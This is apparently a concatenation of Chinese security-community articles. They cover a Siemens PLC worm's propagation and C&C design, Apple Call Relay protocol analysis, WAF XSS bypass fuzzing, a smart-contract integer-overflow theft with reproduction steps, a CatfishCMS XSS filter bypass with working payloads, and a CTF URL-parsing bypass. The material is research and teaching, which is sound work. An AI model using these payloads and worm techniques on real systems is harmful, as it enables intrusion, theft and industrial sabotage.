、主机威胁检测与响应平台 OneEDR 等均已支持对此次攻击事件和团伙的检测。 | 社区文章 |
# 【技术分享】针对西门子PLC蠕虫的实现
|
##### 译文声明
本文是翻译文章，文章来源：xianzhi.aliyun.com
原文地址：<https://xianzhi.aliyun.com/forum/read/1693.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**作者：icsmaster**
**研究背景**
随着“互联网+”、“中国智能制造2025“、“工业4.0”等概念的提出，为了提高生产率，独立、隔离的传统工控领域将迎来了新的互联网时代，越来越多的工控设备（如控制器、机器人、数控机床）将被暴露在互联网上或者与企业内网相连。随着互联网时代的来临，安全问题会越来越突出。然而，工业控制系统的安全不同于传统信息网络的安全，一旦出现网络攻击，后果不堪设想。关于工控病毒相关关键事件如下：
2010年伊朗核设施遭受“震网”超级病毒攻击，病毒的复杂程度超出人们的想象，该事件也被称为世界上首个“网络超级武器”事件。由于工业病毒攻击可以直接导致物理设备的故障，并进一步造成生产瘫痪甚至爆炸的灾难性后果。
Black Hat 2011报告[《Exploiting Siemens Simatic S7
PLCs》](https://github.com/w3h/icsmaster/raw/master/doc/%E5%9B%BD%E5%A4%96/Exploiting%20Siemens%20Simatic%20S7%20PLCs.pdf)，演示了通过西门子S7Comm协议的权限缺失漏洞来远程操作PLC，对PLC进行启停控制、内存的读写。
Black Hat 2015报告[《Internet-facing PLCs – A New Back
Orifice》](https://github.com/w3h/icsmaster/raw/master/doc/%E5%9B%BD%E5%A4%96/us-15-Klick-Internet-Facing-PLCs-A-New-Back-Orifice-wp.pdf)，演示了如何通过PLC实现通信代理，通过PLC突破网络边界，来发现内网中更多的PLC设备。
Black Hat 2016报告[《PLC-Blaster: A Worm Living Solely in the PLC
》](https://github.com/w3h/icsmaster/raw/master/doc/%E5%9B%BD%E5%A4%96/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf)，提出了PLC蠕虫病毒的概念,提出了西门子1200
V3版本协议认证的缺陷，但没有具体的实现细节。
近日，工匠实验室工控安全专家针对PLC进行深入研究，通过梯形图和SCL相结合的方式，利用PLC自身通信功能,
复现了这个病毒，实现了病毒在PLC与PLC之间进行传播。同时，针对这一病毒，我们已经开发了相应的检测工具，这标志着华创网安在工控安全领域掌握了这方面的核心技术，也体现了工控领域的研发实力。
**PLC基本结构**
PLC 实质是一种专用于工业控制的计算机，其硬件结构基本上与微型计算机相同，如图所示：
1.中央处理单元（CPU）中央处理单元（CPU）是PLC 的控制中枢。它按照PLC
系统程序赋予的功能接收并存储从编程器键入的用户程序和数据：检查电源、存储器、I/O 以及警戒定时器的状态，并能诊断用户程序中的语法错误，当PLC
投入运行时，首先它以扫描的方式接收现场各输入装置的状态和数据，并分别存入I/O
映象区，然后从用户程序存储器中逐条读取用户程序，经过命令解释后按指令的规定执行逻辑或算数运算的结果送入I/O
映象区或数据寄存器内。等所有的用户程序执行完毕之后，最后将I/O映象区的各输出状态或输出寄存器内的数据传送到相应的输出装置，如此循环运行，直到停止运行。为了进一步提高PLC
的可靠性，近年来对大型PLC 还采用双CPU 构成冗余系统，或采用三CPU 的表决式系统。这样，即使某个CPU 出现故障，整个系统仍能正常运行。
2.存储器存放系统软件的存储器称为系统程序存储器。存放应用软件的存储器称为用户程序存储器。虽然各种PLC的CPU的最大寻址空间各不相同，但是根据PLC的工作原理其存储空间一般包括以下三个区域：系统程序存储区、系统RAM
存储区（包括I/O 映象区和系统软设备等）、用户程序存储区
3.电源PLC 的电源在整个系统中起着十分重要得作用。如果没有一个良好的、可靠得电源系统是无法正常工作的，因此PLC
的制造商对电源的设计和制造也十分重视。一般交流电压波动在±10%（±15%）范围内，可以不采取其它措施而将PLC 直接连接到交流电网上去。
4.输入/输出电路I/O扩展接口用于将扩充外部输入/输出端子数的扩展单元与基本单元（即主机）连接在一起。
**蠕虫介绍**
蠕虫病毒是一种常见的计算机病毒。它是利用网络进行复制和传播，传染途径是通过网络和电子邮件。最初的蠕虫病毒定义是因为在DOS环境下，病毒发作时会在屏幕上出现一条类似虫子的东西，胡乱吞吃屏幕上的字母并将其改形。蠕虫病毒是自包含的程序（或是一套程序），它能传播自身功能的拷贝或自身的某些部分到其他的计算机系统中（通常是经过网络连接）。
工控蠕虫主要的针对的对象是工业控制设备，通过控制器之间进行病毒传播，这与传统计算机蠕虫是存在很大差别，传统蠕虫寄生对象都是计算机（Window或者Linux），工控蠕虫寄生对象是控制器逻辑代码中。由于病毒可以混淆于正常的控制逻辑代码中，传统防御方式都不适合于工控蠕虫的防护，检测与查杀的方式更强困难。虽然工控蠕虫与计算机蠕虫存在很多的不同点，但所有的蠕虫的基本架构都是相同的。所有的蠕虫攻击都可以归为一下几个阶段：搜索目标，感染目标，在目标上执行，添加恶意功能。由于PLC控制器提供网络通信能力，在PLC上蠕虫也同样支持这些功能。这篇文章将展示每个必须组件的实现方法。
**蠕虫实现**
蠕虫实现的主要的编程软件为西门子的TIA Portal(博途)，在TIA
Portal(博途)编程软件中，用户通过编写程序来完成工业现场的控制以及工艺流程的实现。博途中分为以下几类块：
**OB(Organization Block )：** 组织块，为程序的入口块，被系统直接调用（其他块不可以被系统直接调用，必须包含在OB中才可以执行）。
**FB(Function Block)：**
功能块，既可以是博途中已包含的功能块，也可以是用户自己编写的块，编程中需要带背景数据块（又叫实例数据块，Instance Data Block）使用。
**FC(Function)：** 功能，既可以是博途中已包含的功能块，也可以是户自己编写，不可以带背景数据块。
**DB(Data Block)：**
数据块，分为背景数据块和共享数据块，其中背景数据块为私有块。编程时，户可以定义共享数据块的数据存储结构，不可以定义背景数据块的数据存储结构，必须由FB定义。数据块中的数据掉电不丢失。
**SFB(System Function Block)：** 系统功能块，系统内部功能块，用户不可自己编写，不可更改，使用同FB。
**SFC(System Function)：** 系统功能，系统内部功能，用户不可自己编写，不可更改，使用同FC。博途软件支持的编程语言有：
LD(梯形图)，FBD(功能块图)、SCL(结构化控制语言)、STL(语句列表)。
S7-1200只支持LAD、FBD和SCL三种编程语言，并且在下载过程中会先停止运行，然后下载程序，下载完成后重新启动。
**1\. 实现流程**
病毒首先选择IP通过西门子通信端口102尝试建立连接，如果连接建立成功，则检查目标PLC是否已被感染。如连接未建立成功，或目标PLC已被感染，则选择新IP重新尝试建立连接。如目标PLC未被感染，则停止目标PLC，下装病毒程序，最后重新启动目标PLC。流程如下图所示。
**2\. 寻找目标**
西门子PLC通过102端口进行TCP通信，因此可以尝试通过102端口与设备建立TCP通信来寻找目标。博途开发平台提供了两个FB块——通讯连接块TCON和断开通讯连接块TDISCON，如下图所示。
程序块TCON和TDISCON的参数说明
使用TCON和DISTCON块尝试建立和断开连接
如果TCON建立了连接则判断设备型号或者下载程序。由于TCON只需触发一次连接命令，就会一直尝试与目标建立连接，直到连接成功。因此，如果1s内没有建立连接则改变IP地址，尝试连接下一台PLC；如果建立了连接，则通过发送指令判断设备信号或者下载病毒程序，完成后改变IP地址，并尝试连接下一台设备。
更改IP
断开连接后则更改IP地址，准备连接下一台设备
**3\. 传播感染**
连接建立后，病毒调用数据传送命令TSEND和数据接收命令TRCV进行传播。见下图
程序块TSEND和TRCV的参数说明
判断是否已感染
病毒在传播感染之前需要判断当前对象是否已经被感染，避免重复感染。判断是否被感染，如果感染，则跳过感染，如果未感染，则执行程序传送，感染对象。具体实现如下图：
建立连接认证
在程序的发送过程中，需要满足S7协议的相关通信时序以及报文格式。下图为S7建立连接的过程。首先是TCP的三次握手，接下来建立COTP连接，建立完成后进行S7协议的连接建立。
具体逻辑实现代码如下：
**4\. 激活**
PLC执行顺序是从OB1开始，按顺序执行到OB9999的。
建立调用病毒程序的OB块OB9999，并将其存植入到目标PLC中，用以激病毒，并进行新的病毒传播感染。西门子PLC在运行时，会按照从OB1到OB9999的顺序进行调用。如下图所示。
在其他病毒块下载完成后，用OB9999（也可以用其他非系统自带的OB块，未了避免病毒的OB块与PLC中正常的OB块重复，建议块的序号尽量大些）启动病毒程序。
**5\. 恶意功能的实现——连接C &C服务器**
一旦PLC被感染病毒，会基于TCP主动去连接C&C服务器。通过C&C服务器，可以远程控制PLC，包括PLC的启停，输出值的改变等。当C&C服务器向连接了C&C服务器的PLC发送指令后，PLC会解析命令并执行。以点灯程序为例说明其危害性。下图为C&C服务器点灯的解析部分：
**6\. 感染前后对比**
博途软件提供了PLC程序在线与离线差异的检测功能，如下图所示。程序块后面的绿色圆圈表示在线程序与离线程序一致，蓝色与橘黄色组成的圆形表示在线程序与离线程序不一致。块为虚样式，表示博途的程序中没有此块，而PLC有。
**演示截图**
红灯表示PLC感染状态，绿灯表示PLC正常控制的终端运行状态，PLC使用的是西门子1200
V3版本，从左到右分别为PLC0，PLC1，PLC2。默认情况下，PLC1和PLC2离线的，当PLC0被感染后，PLC1和PLC2接入网络，随后PLC0就会感染PLC1和PLC2。
图1：PLC处于正常运行状态
图2：PLC0被感染病毒，反向联接C&C服务器
图3：PLC1与PLC2联网，PLC0正在感染PLC1
图4：PLC1被感染病毒，反向联接C&C服务器
图5：PLC2被感染病毒，反向联接C&C服务器
**防护措施**
1.部署控制设备管理系统，定期对PLC控制逻辑代码进行备份，一旦PLC被感染，可以迅速通过备份的PLC程序重置进行快速恢复。
2.设置CPU访问密码，禁止非授权用户上下载逻辑代码，密码一定不能是弱口令。
3.对工控网络进行风险评估，识别核心资产，根据不同安全级别进行安全分区，一旦受到网络攻击，将损失控制在最小的范围内。
4.在工控系统中安装工控监测审计系统，通过工控协议深度解析，根据特征值的进行采集、分析与识别，如发现异常数据包，如控制器启停、程序上下载，则记录日志或报警。
5.安全域边界安装工控防火墙，通过工控防火墙，对异常数据包进行检测以及隔离防护。
6.针对工控网络制定应急处理预案，当遇见突发网络攻击事件，可以实现快速恢复。 | 社区文章 |
# 【技术分享】如何利用苹果的Call Relay协议DIY间谍软件（上）
|
##### 译文声明
本文是翻译文章，文章来源：martinvigo.com
原文地址：<http://www.martinvigo.com/diy-spy-program-abusing-apple-call-relay-protocol/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**写在前面的话**
本系列文章分上下两集，上集将对苹果Call
Realy服务的运行机制以及协议内容进行阐述，并让大家对该协议有一个大致的了解，而下集将会告诉大家如何利用该协议中的安全漏洞来对目标用户展开间谍活动。
**
**
**介绍**
苹果在iOS 8和Yosemite中引入了一套名叫“ **Continuity**
”的新功能，这些功能将允许iPhone与其他例如Mac和iPad之类的苹果设备以一种新型的方式协同工作。实际上，苹果的Handsoff、即时热点以及Airdrop等功能和服务都是由Continuity提供的。在这些新服务中，有一个名叫“Call
Relay”的服务。从本质上来说，该服务允许用户使用其他的苹果设备来拨打或接听电话。该功能并不是传统的 **VOIP** 服务，因为它是一种基于专项协议的
**P2P** 通信链接。
为了能够正常工作，参与通信的双方设备（iPhone跟其他拨打/接听电话的苹果设备）需要处于同一WiFi网络中，而这个特性引起了我的注意。苹果的安全白皮书对于这部分功能的介绍内容并不多，文档中只有四小段内容介绍了Call
Relay的工作机制以及相关的安全信息，其内容大致如下：“通话音频将会从你的iPhone手机无缝传输（使用一种安全的点到点连接）到其他苹果设备上。”
**
**
**工作机制**
我们先要从整体上了解这个协议的运行机制，以及参与通信的设备所使用的交互方式。现在，我们假设有人给目标用户拨打了电话，他的iPhone手机响了，但他选择使用MacBook来接这通电话。
接下来，我们还要区分不同场景下的通信参与方。
首先，基站会与iPhone通信并处理来电通话。接下来，iPhone的来电铃声便会响起，并给苹果推送一条来电通知。苹果的 **Push
Notification Service** （APNS-推送通知服务）会给登录了相同苹果ID的所有苹果设备推送这条来电通知，并告知这些设备该用户目前有一通来电等待接听。MacBook所接收到的推送通知中包含iPhone的内部IP和端口，并将来电对方的信息以及通话选项（接听/挂断）显示给用户。最后，MacBoos会将第一个数据包通过局域网发送给iPhone（IP地址），并等待响应。接下来，P2P链接会成功建立，然后在MacBook和iPhone之间传输通话语音数据。
**场景分析**
该协议可以在上图所示的三种场景下工作，即 **GSM** 、 **互联网** 和 **本地网络** ，但我们的分析重点将主要放在本地网络场景中。
**
**
**实现方法**
首先，我需要在相同环境下（相同设备、苹果ID、手机号码和拨号方式）收集来电信息样本，这样我就可以通过对比字节数据来找出发生改变的地方。除此之外，我还收集了很多不同环境（稍有改变）下的数据样本以便我通过分析识别出操作系统版本和用户ID等信息。
想要手动完成这些操作肯定是很困难的，因此我们这里需要使用到一款名叫[
**Netzob**](https://github.com/netzob/netzob)
的工具。简单来说，Netzob可以帮我们通过识别模式、数据格式和接口来对协议进行详细分析（使用了复杂的数学模型和静态分析技术）。换句话说，我们只需要将数据样本导入至Netzob，它就可以帮我们把数据格式化导出，并显示数据之间的关系。
注:在这篇文章中，我不打算对该协议的逆向分析过程进行详细描述，因为我们的目的是为了寻找该协议中存在的安全漏洞，因此我所介绍的内容都是为这一目标服务的。如果你想了解更多相关内容，请参考我在Ekoparty的一次[演讲](https://www.youtube.com/watch?v=PEMeiGHKva8)（西班牙语）或卡巴斯基实验室的[安全分析结果](https://www.youtube.com/watch?v=xjDcmaEqPTw)。
**
**
**苹果的Call Relay协议**
我是用[Scapy](http://www.secdev.org/projects/scapy/)编写了一些脚本【[脚本地址](https://github.com/martinvigo/apple_call_relay_protocol)】，并用脚本来模拟iPhone和MacBook，这样不仅可以帮助我识别出某些初始攻击向量，而且还有助于我找出该协议中存在的其他漏洞。
该协议由以下四个处理阶段组成:
**发现阶段**
上图显示的是来电时MacBook发送给iPhone的第一个数据包，iPhone会等待接收这个数据包，接收之后它便会翻转四位字节数据，并将其回传给MacBook，整个过程类似于一次SYN-ACK。
**识别阶段**
接下来便是识别阶段中的另外两个数据包，这一次，iPhone在响应时会修改两个字节的数据，但最有意思的地方在上图中的Field
9部分。这些字节数据全部都在可打印的范围内，将其格式化为字符串之后，我们发现它其实就是一个UUID。更重要的是，我们竟然找到了一个未经加密的文本，而我们接下来就可以对这些字节数据动手脚了。
**协商阶段**
首先我们可以看到，header从原来的“0f”变成了“2004000400”，这就表明我们处于该协议的另一个处理阶段了。先看上图中的红色方框部分，MacBook和iPhone通过交换四个字节数据得到了一个双方都认可的八字节随机数据。MacBook生成并发送了前四个字节，而iPhone以相同的方式予以响应。在接下来的数据包中（绿色部分），我们可以看到MacBook使用了双方认可的字节数据来作为某种计数器（最后一位字节数据每次加1）。
另一个有趣的部分是橙色标注的区域，这部分内容可能代表的是该阶段中数据包的不同状态，因为它们的header都是一样的。
**声音传输阶段**
跟之前一样，我们可以观察到数据包的header从原先的“2004000400”变成了“e000”，这表示我们又进入了该协议的另外一个阶段。跟刚才的识别阶段类似，我们可以发现Field
1-1中显示的是一个按次序递增的十进制计数器。在我的测试过程中，计数器会每二十分钟更新一次，并在来电通话的过程中传输大量的数据包。这个过程很可能是用于实现加密处理的，目的估计是为了防止重放攻击的发生。
Filed
1-2-1代表每一次通话的静态值，每一台设备的这个值都不同。通过对协议进行逆向分析并模拟拨打了数百通电话之后，我发现这个值并不是随机值。因为它总是在增加，但我还不清楚这个值是基于什么生成的。最后蓝色框框里面的数据就是纯粹的随机字节了。
**
**
**寻找安全漏洞**
既然我们已经大致了解了苹果Call
Relay协议的大体工作流程以及内部运行机制，那么我们就可以开始尝试寻找协议中可能存在的安全漏洞了。在寻找漏洞的过程中，我们一定要保持思路清晰，不然你很可能会迷失方向，然后又不得不从头开始。
在测试的过程中，我尝试进行了以下几种操作，但是都以失败告终了：
**窃听正在进行的通话**
**解码/解压缩/解密语音Payload**
**进行重放攻击**
**将语音Payload重定向至攻击者设备**
**伪装成目标用户拨打电话**
**注入语音Payload**
但是下面这几次操作尝试都成功了：
**DoS语音拨号**
**通过打开目标用户手机的麦克风来对其进行窃听和监视**
**模拟多方通话来电**
**
**
**总结**
在这篇文章中，我们对苹果的Call
Relay协议已经有了一个大致了解，在本系列文章的下集中，我们将告诉大家如何利用这些漏洞来展开攻击，并自行动手制作一款间谍工具，感兴趣的同学请及时关注安全客的最新文章。 | 社区文章 |
## 前言
* * *
嘿，`老伙计`！我敢`打赌`，你知道的这些`文章`，就像`皮特`他的老奶奶衣柜里的`衣服`，总要拿`出来晒晒的`，至于`其他`就让他去`见鬼`吧。
## waf
* * *
这款waf更新的很快，年前有个bypass注入的视频，提到waf对`cookie`检查不严，过段时间waf就`更新`。我写这种本地测试bypass文章时，总有感觉就是自嗨，这对实战有没有意义，我还记得搞xss绕过，是因为我在x某个webshell箱子时，D盾拦截了，我就开始研究了一波绕过。实站中xss的点很苛刻的，就很多时候本地测试bypass就像玩靶机一样，真提枪干时，可利用的少，有点好的提升脑洞，锻炼动手能力(ﾉ*･ω･)ﾉ
。
## 测试
* * *
思路方面，可以先fuzz一波标签看看结果。
嗯，就我特意写上的payload
403，其他都200。因为各种waf的之间或多或少的`规则特性`上差异，例如下图长亭的XSSChop检测为无风险，这个测试语句虽然不会弹框，但是你换其他waf的话，可能瞬间爆炸。所以我们fuzz时，首先得构造有效payload，实在不行简单粗暴直接拿大量payload过去，再研究能过的payload。
## 绕过
* * *
绕过的话，我手头已经有一些测试好可以bypass的，这些都要靠自己fuzz结合自己手工测出来的。
#### 不常见标签
* * *
`<details>` `<button>` `<select>` `<keygen>`
`<textarea>`这几个都可以，如何找到这些呢？关注HTML5新特性，出了那些新标签新属性，再自己测试一波。
#### 思考
* * *
首先一个xss payload基本有以下几部分组成
* [TAG]填充标签`img svg video button...`
* [ATTR]=Something 填充一些非必要的属性 `src=1 xmlns="[jp.pornhub.com/](https://jp.pornhub.com/)"`
* [EVENT]填充事件属性`onerror onload...`
* [SAVE_PAYLOAD]填充JavaScript代码`alert(1) top.alert(1)...`
经过测试，有2个思路：第一就是不常见标签，从上面测试可以看出，这是最轻松的，下面贴几个。
(为什么要截图不直接贴代码 因为阿里云拦截w(ﾟДﾟ)w)
第二个思路就是，就是先从`[EVENT]`入手，为什么这么讲，请看下面的测试。
当我们把代表`[EVENT]`的`onload`去掉时，就不拦截了。
构造fuzz字典，从[EVENT]填充事件属性。
fuzz得到些有效的数据，挑些`200`事件属性。
接下来就是对[SAVE_PAYLOAD]进行fuzz，我这里自己直接给出个bypass的payload
大概就是把`xss payload`分成几块，逐部分的去fuzz。
贴些特殊的payload:
## 后记
* * *
本文并没有给什么特别骚的代码，重点在于2个思路，感觉本质是一样的fuzz，第二种思路就是通过这种拆分`xss
payload`，收集构造有效字符集，进行fuzz得到字典，在对waf进行fuzz，难点在于构造有效字符集(๑•̀ㅂ•́)و✧ | 社区文章 |
**作者：[启明星辰ADLab](https://mp.weixin.qq.com/s/getI--qWSWjQhDXqfejk_g
"启明星辰ADLab") **
8月19日，God.Game在以太坊区块链上部署了自己的智能合约(地址位于<https://etherscan.io/token/0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d>，简称God合约)，时隔一天攻击者就盗取了该合约的243个以太币，价值超过6万美元。启明星辰ADLab在监控到该事件后，对该攻击进行了详>，简称God合约)，时隔一天攻击者就盗取了该合约的243个以太币，价值超过6万美元。启明星辰ADLab在监控到该事件后，对该攻击进行了详细的分析和重现。
#### 攻击回溯
通过etherscan可以看到攻击者的以太币提取交易：
交易详情如下，即攻击者0xc30e89db73798e4cb3b204be0a4c735c453e5c74（简称攻击者1）调用了God合约的withdraw函数进行提币：
查看攻击者1在God合约中是否持有token，接近20万的数量。
查看攻击者1在withdraw调用之前对God合约的调用，如下：
从攻击者1的交易来看，它发往God合约的最早交易是sell调用，说明在sell之前它就已经有了God合约的token。那么攻击合约在此之前，肯定有其它账户给它转移过token。否则，它不会有可以sell的token。
在追踪攻击者1的token变化过程中，我们发现另外一个攻击者（简称攻击者2，地址为0x2368beb43da49c4323e47399033f5166b5023cda），它调用了一个攻击合约（地址为0x7f325efc3521088a225de98f82e6dd7d4d2d02f8）给攻击者1转移了20万token：
攻击者2调用攻击合约的transfer函数，目标地址为攻击者1，数量为20万。由于攻击合约并没有开放源码，因此这里的transfer函数仅仅是函数签名匹配的结果(有一定几率是其它名字)。那么，攻击合约的20万token是从哪里得到的？
继续跟踪攻击者2和攻击合约，发现攻击合约是由攻击者2创建的，且攻击者2对攻击合约的调用就是在God合约被攻击提现的时间窗口中。
从攻击者2的交易行为，可以看出他先给攻击合约转入4.3 token，然后从攻击合约转出4.3
token。此时，攻击合约的token为0。随后，攻击合约直接转20万token给攻击者1（还转移了21万给另外一个地址），这表明攻击者在调用reinvest函数时应该使攻击合约的token发生了某种变化。
接着分析这个reinvest交易，它是直接调用不开源的攻击合约，其内部机制我们并不清楚。但是，这个交易过程会触发God合约的两个事件，onTokenPurchase和onReinvestment：
通过这个事件的记录数据，可以看到该reinvest调用使得合约判定购买token的以太代币数量为一个大数，并且远远超出以太币发行总量。这个信息也反应出reinvest函数内部逻辑一定产生了某种非预期的行为。
通过分析God合约源码，发现onReinvestment事件仅在God合约的reinvest函数中触发：
可见，onReinvestment的以太币参数的最终计算方式为：
这一行代码明显存在整数溢出的理论可能，因为它没有使用SafeMath等类似安全运算操作。但这里溢出的值并不是经典0xfffff…等类似的大数，而是一个够大但又远不及uint256极大值的数。
仔细观察发现，magnitude变量是2的64次方，然后我们做一个等式变换：
这样我们就找到了经典整数溢出的第一现场指纹，只需要上面减法操作的第一操作数比第二操作数略小即可。很显然，第一操作数又可划分为两个子操作数的乘法，只要任一个为零即导致结果为零。此时，第二操作数只要是任意一个小正数即可产生上面的经典指纹。
继续构造上述的操作数。首先，`tokenBalanceLedger_[_customerAddress]`在合约调用的上下文中表示调用者持有的token。因此，只要调用者不持有合约token，这个值就是零。此时无论`profitPerShare_`值为多少，乘法结果都为零。这样减法的第一操作数为零的条件，就轻易构造出来了，即调用者不持有God合约token。然后，`payoutsTo_`是一个mapping对象，合约调用者的初始值为零，需要使其为一个正数。
分析God合约中修改`payoutsTo_`的代码有：
攻击合约在reinvest调用之前只执行过transfer调用和withdraw调用。其中transfer调用从攻击合约转token到外部账户，所以不会修改合约的`payoutsTo_`值，但withdraw函数会直接修改合约的`payoutsTo_`值。因此，只要在reinvest之前调用一次withdraw函数就可以使得减法的第二操作数为一个正数。
最后，第一个操作数为零值，第二个操作数为正数，并且减法结果强制转换为无符号整数，在没有运用安全运算库的前提下直接使用减法操作就会导致溢出，结果为一个很大的正数。至此，攻击者的完整攻击过程如下：
#### Remix复现
在分析了完整攻击路径后，我们可以构造出如下的攻击合约：
在remix中按照如下步骤进行操作：
1）部署God合约（为了方便追踪内部数据结构的变化，直接把全部成员和函数都重新定义为public）；
2）用1eth，购买第一次token，引用地址设置为0x00…；
3）再用相同的参数来购买一次（一定要再来一次，因为此时合约的`profitPerShare_`仍然是零值，这会导致withdraw调用的函数修饰符失败）；
4）部署攻击合约Test（传递God合约地址给Test）；
5）调用God合约的Transfer给Test发送Token（这里直接把购买的全部token都发送过去）；
6）调用攻击合约Test的withdraw函数，攻击合约的`payoutsTo_`已经被修改为大数；
7）调用攻击合约Test的transfer函数把token全部给创建者，Test此时拥有的token为0，`payoutsTo_`为大数；
8）调用攻击合约的reinvest函数，在日志中可以看到记录购买token的eth为海量，并且成功购买了大量token；
9）攻击合约Test通过溢出获得了大量token，攻击者就可以从这个合约给其它地址转移token，并进行售卖套取eth。
#### 小结
God合约被攻击的漏洞点比较简单，即标准的整数溢出。它的复杂在于整数溢出的利用有多个约束条件，并且是在不同的业务逻辑中：
1. 在溢出攻击的业务逻辑中，攻击者必须没有God的token，且`payoutsTo_`值必须为正数；
2. 要使`payoutsTo_`为正数，攻击者就必须在其它业务逻辑中修改，比如withdraw；
3. 要执行withdraw，攻击者就必须持有God的token（最终溢出时又不能持有token）。
因此，攻击者需要通过多次触发God合约的不同业务逻辑才能最终造成整数溢出。
God合约的代码编写存在多处缺陷：
1. 给管理员留下任意地址的token操控能力，并且操控不触发事件。这意味着修改是悄无声息的，除非有人去轮询监控每个地址的token变化；
2. Token的某些转移过程没有调用标准ERC20事件接口，导致etherscan上看到的token变化是极度不准确的，不利于公开透明监督；
3. 代码中不考虑限制循环，无意义的gas浪费（这也导致了在Remix调试中经常崩溃）；
4. 合约中的业务逻辑没有说明规范，仅开放合约代码并不能等价于项目透明。
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近400个，持续保持国际网络安全领域一流水准。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
> Catfish(鲶鱼) CMS
> 开源免费的PHP内容管理系统
> 不需要高深专业技术轻松搭建网站
> 使用简单 灵活方便 稳定快捷
> 风格切换 想换就换 适应不同需求
> 最新版本：V 4.7.21
> <http://www.catfish-cms.com/>
### 分析
文件在 \application\index\controller\Index.php 评论处存在xss
public function pinglun()
{
$beipinglunren = Db::name('posts')->where('id',Request::instance()->post('id'))->field('post_author')->find();
if($beipinglunren['post_author'] != Session::get($this->session_prefix.'user_id'))
{
$comment = Db::name('options')->where('option_name','comment')->field('option_value')->find();
$plzt = 1;
if($comment['option_value'] == 1)
{
$plzt = 0;
}
$data = [
'post_id' => Request::instance()->post('id'),
'url' => 'index/Index/article/id/'.Request::instance()->post('id'),
'uid' => Session::get($this->session_prefix.'user_id'),
'to_uid' => $beipinglunren['post_author'],
'createtime' => date("Y-m-d H:i:s"),
'content' => $this->filterJs(Request::instance()->post('pinglun')),
'status' => $plzt
];
Db::name('comments')->insert($data);
Db::name('posts')
->where('id', Request::instance()->post('id'))
->update([
'post_comment' => date("Y-m-d H:i:s"),
'comment_count' => ['exp','comment_count+1']
]);
$param = '';
Hook::add('comment_post',$this->plugins);
Hook::listen('comment_post',$param,$this->ccc);
}
}
问题点如下：
'content' => $this->filterJs(Request::instance()->post('pinglun')),
Db::name('comments')->insert($data);
data中的content经filterJs插入数据库
filterJs过滤函数如下
protected function filterJs($str)
{
while(stripos($str,'<script') !== false || stripos($str,'<style') !== false || stripos($str,'<iframe') !== false || stripos($str,'<frame') !== false || stripos($str,'onclick') !== false)
{
$str = preg_replace(['/<script[\s\S]*?<\/script[\s]*>/i','/<style[\s\S]*?<\/style[\s]*>/i','/<iframe[\s\S]*?[<\/iframe|\/][\s]*>/i','/<frame[\s\S]*?[<\/frame|\/][\s]*>/i','/on[A-Za-z]+[\s]*=[\s]*[\'|"][\s\S]*?[\'|"]/i'],'',$str);
}
return $str;
}
正则有问题。
列举2个绕过payload
<img src=x onerror=alert(1)>
<p onmouseover="javascript:alert(1);">M</p>
### 验证
注册用户登陆，对文章评论
提交评论抓包改为
浏览文章或管理员登陆后台可触发 | 社区文章 |
做这道题的时候还不知道黑帽大会的那个技巧，用了另一种方法做出来了，算是另一种思路，献丑和师傅们分享一下。
这里贴一下代码：
from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request
app = Flask(__name__)
# Index
@app.route('/', methods=['GET'])
def app_index():
return render_template('index.html')
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl, timeout=2).read()
else:
return "我扌 your problem? 333"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
很简单，大概的逻辑就是，前两个判断 `host` 是否是 `suctf.cc` ，如果不是才能继续。然后第三个经过了 `decode('utf-8')`
之后传进了 `urlunsplit` 函数，在第三个判断中又必须要等于 `suctf.cc` 才行。
在不知道 `℆` 这个字符的情况下，虽然觉得 `decode` 这里有蹊跷，但我还是把目光移到了函数 `urlunsplit` 上。
# 函数源码
那么接下来就是看看函数源码里到底是如何处理的，函数定义在 `urllib\parse.py` 中，这个函数不长，贴出来看看：
def urlunsplit(components):
scheme, netloc, url, query, fragment, _coerce_result = (
_coerce_args(*components))
if netloc or (scheme and scheme in uses_netloc and url[:2] != '//'):
if url and url[:1] != '/': url = '/' + url
url = '//' + (netloc or '') + url
if scheme:
url = scheme + ':' + url
if query:
url = url + '?' + query
if fragment:
url = url + '#' + fragment
return _coerce_result(url)
从题目源码也可以看出，这个函数的用法大概就是把 `url` 各个部分组成 `list` 传进来。
我们来分析一下这个函数：
这里的 `netloc` 就是题目中拿来判断的 `host`。
首先第一个 `if` 判断了 `netloc` 是否为空，如果不是空就进入代码块，第二个是判断 `schema` 是否为空。第三个第四个就不分析了。
仔细看看第二个 `if`，这里并没有强制要求 `netloc` 要有东西，假设一下我们传入一个这样的 `url`：
file:////abc
这个 `url` 传入入 `parse.urlparse` 时，`netloc` 是为空的，而 `path` 为 `//abc`，当进入到
`urlunsplit` 后，`netloc` 为空不进入第一块代码，`schema` 为 `file`，进入第二个代码块，拼接后 `url`
就变成了：`file://abc`
# payload构造
做个实验就知道了，我们运行这样一个代码：
from urllib.parse import urlsplit,urlunsplit, unquote
from urllib import parse
url = "file:////def"
parts = parse.urlsplit(url)
print(parts)
url2 = urlunsplit(parts)
parts2 = parse.urlsplit(url2)
print(parts2)
输出的结果：
SplitResult(scheme='file', netloc='', path='//def', query='', fragment='')
